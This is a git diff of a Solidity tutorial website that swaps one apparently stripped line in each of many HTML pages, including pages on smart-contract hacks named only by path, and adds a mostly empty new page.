a/hacks/accessing-private-data/index.html +++ b/hacks/accessing-private-data/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/hacks/block-timestamp-manipulation/index.html b/hacks/block-timestamp-manipulation/index.html index f1f394a4c..0ba192e2c 100644 --- a/hacks/block-timestamp-manipulation/index.html +++ b/hacks/block-timestamp-manipulation/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/hacks/contract-size/index.html b/hacks/contract-size/index.html index f1f394a4c..0ba192e2c 100644 --- a/hacks/contract-size/index.html +++ b/hacks/contract-size/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/hacks/delegatecall/index.html b/hacks/delegatecall/index.html index f1f394a4c..0ba192e2c 100644 --- a/hacks/delegatecall/index.html +++ b/hacks/delegatecall/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/hacks/denial-of-service/index.html b/hacks/denial-of-service/index.html index f1f394a4c..0ba192e2c 100644 --- a/hacks/denial-of-service/index.html +++ b/hacks/denial-of-service/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/hacks/deploy-different-contracts-same-address/index.html b/hacks/deploy-different-contracts-same-address/index.html index f1f394a4c..0ba192e2c 100644 --- a/hacks/deploy-different-contracts-same-address/index.html +++ b/hacks/deploy-different-contracts-same-address/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/hacks/front-running/index.html b/hacks/front-running/index.html index f1f394a4c..0ba192e2c 100644 --- a/hacks/front-running/index.html +++ b/hacks/front-running/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/hacks/hiding-malicious-code-with-external-contract/index.html b/hacks/hiding-malicious-code-with-external-contract/index.html index f1f394a4c..0ba192e2c 100644 --- a/hacks/hiding-malicious-code-with-external-contract/index.html +++ b/hacks/hiding-malicious-code-with-external-contract/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/hacks/honeypot/index.html b/hacks/honeypot/index.html index f1f394a4c..0ba192e2c 100644 --- a/hacks/honeypot/index.html +++ b/hacks/honeypot/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/hacks/overflow/index.html b/hacks/overflow/index.html index f1f394a4c..0ba192e2c 100644 --- a/hacks/overflow/index.html +++ b/hacks/overflow/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/hacks/phishing-with-tx-origin/index.html b/hacks/phishing-with-tx-origin/index.html index f1f394a4c..0ba192e2c 100644 --- a/hacks/phishing-with-tx-origin/index.html +++ b/hacks/phishing-with-tx-origin/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/hacks/randomness/index.html b/hacks/randomness/index.html index f1f394a4c..0ba192e2c 100644 --- a/hacks/randomness/index.html +++ b/hacks/randomness/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/hacks/re-entrancy/index.html b/hacks/re-entrancy/index.html index f1f394a4c..0ba192e2c 100644 --- a/hacks/re-entrancy/index.html +++ b/hacks/re-entrancy/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/hacks/self-destruct/index.html b/hacks/self-destruct/index.html index f1f394a4c..0ba192e2c 100644 --- a/hacks/self-destruct/index.html +++ b/hacks/self-destruct/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/hacks/signature-replay/index.html b/hacks/signature-replay/index.html index f1f394a4c..0ba192e2c 100644 --- a/hacks/signature-replay/index.html +++ b/hacks/signature-replay/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/hacks/vault-inflation/index.html b/hacks/vault-inflation/index.html index f1f394a4c..0ba192e2c 100644 --- a/hacks/vault-inflation/index.html +++ b/hacks/vault-inflation/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/hacks/weth-permit/index.html b/hacks/weth-permit/index.html index f1f394a4c..0ba192e2c 100644 --- a/hacks/weth-permit/index.html +++ b/hacks/weth-permit/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/hashing/index.html b/hashing/index.html index f1f394a4c..0ba192e2c 100644 --- a/hashing/index.html +++ b/hashing/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/hello-world/index.html b/hello-world/index.html index f1f394a4c..0ba192e2c 100644 --- a/hello-world/index.html +++ b/hello-world/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/if-else/index.html b/if-else/index.html index f1f394a4c..0ba192e2c 100644 --- a/if-else/index.html +++ b/if-else/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/immutable/index.html b/immutable/index.html index f1f394a4c..0ba192e2c 100644 --- a/immutable/index.html +++ b/immutable/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/import/index.html b/import/index.html index f1f394a4c..0ba192e2c 100644 --- a/import/index.html +++ b/import/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/index.html b/index.html index f1f394a4c..0ba192e2c 100644 --- a/index.html +++ b/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/inheritance/index.html b/inheritance/index.html index f1f394a4c..0ba192e2c 100644 --- a/inheritance/index.html +++ b/inheritance/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/interface/index.html b/interface/index.html index f1f394a4c..0ba192e2c 100644 --- a/interface/index.html +++ b/interface/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/library/index.html b/library/index.html index f1f394a4c..0ba192e2c 100644 --- a/library/index.html +++ b/library/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/loop/index.html b/loop/index.html index f1f394a4c..0ba192e2c 100644 --- a/loop/index.html +++ b/loop/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/mapping/index.html b/mapping/index.html index f1f394a4c..0ba192e2c 100644 --- a/mapping/index.html +++ b/mapping/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/new-contract/index.html b/new-contract/index.html index f1f394a4c..0ba192e2c 100644 --- a/new-contract/index.html +++ b/new-contract/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/payable/index.html b/payable/index.html index f1f394a4c..0ba192e2c 100644 --- a/payable/index.html +++ b/payable/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/primitives/index.html b/primitives/index.html index f1f394a4c..0ba192e2c 100644 --- a/primitives/index.html +++ b/primitives/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/sending-ether/index.html b/sending-ether/index.html index f1f394a4c..0ba192e2c 100644 --- a/sending-ether/index.html +++ b/sending-ether/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/shadowing-inherited-state-variables/index.html b/shadowing-inherited-state-variables/index.html index f1f394a4c..0ba192e2c 100644 --- a/shadowing-inherited-state-variables/index.html +++ b/shadowing-inherited-state-variables/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/signature/index.html b/signature/index.html index f1f394a4c..0ba192e2c 100644 --- a/signature/index.html +++ b/signature/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/state-variables/index.html b/state-variables/index.html index f1f394a4c..0ba192e2c 100644 --- a/state-variables/index.html +++ b/state-variables/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/structs/index.html b/structs/index.html index f1f394a4c..0ba192e2c 100644 --- a/structs/index.html +++ b/structs/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/super/index.html b/super/index.html index f1f394a4c..0ba192e2c 100644 --- a/super/index.html +++ b/super/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/tests/echidna/index.html b/tests/echidna/index.html index f1f394a4c..0ba192e2c 100644 --- a/tests/echidna/index.html +++ b/tests/echidna/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/transient-storage/index.html b/transient-storage/index.html index f1f394a4c..0ba192e2c 100644 --- a/transient-storage/index.html +++ b/transient-storage/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/try-catch/index.html b/try-catch/index.html index f1f394a4c..0ba192e2c 100644 --- a/try-catch/index.html +++ b/try-catch/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/unchecked-math/index.html b/unchecked-math/index.html index f1f394a4c..0ba192e2c 100644 --- a/unchecked-math/index.html +++ b/unchecked-math/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/user-defined-value-types/index.html b/user-defined-value-types/index.html new file mode 100644 index 000000000..0ba192e2c --- /dev/null +++ b/user-defined-value-types/index.html @@ -0,0 +1,45 @@ + + + + + + + + + + + + Solidity by Example + + + + + + + + + + +
                                                    + + diff --git a/variables/index.html b/variables/index.html index f1f394a4c..0ba192e2c 100644 --- a/variables/index.html +++ b/variables/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/view-and-pure-functions/index.html b/view-and-pure-functions/index.html index f1f394a4c..0ba192e2c 100644 --- a/view-and-pure-functions/index.html +++ b/view-and-pure-functions/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/visibility/index.html b/visibility/index.html index f1f394a4c..0ba192e2c 100644 --- a/visibility/index.html +++ b/visibility/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - +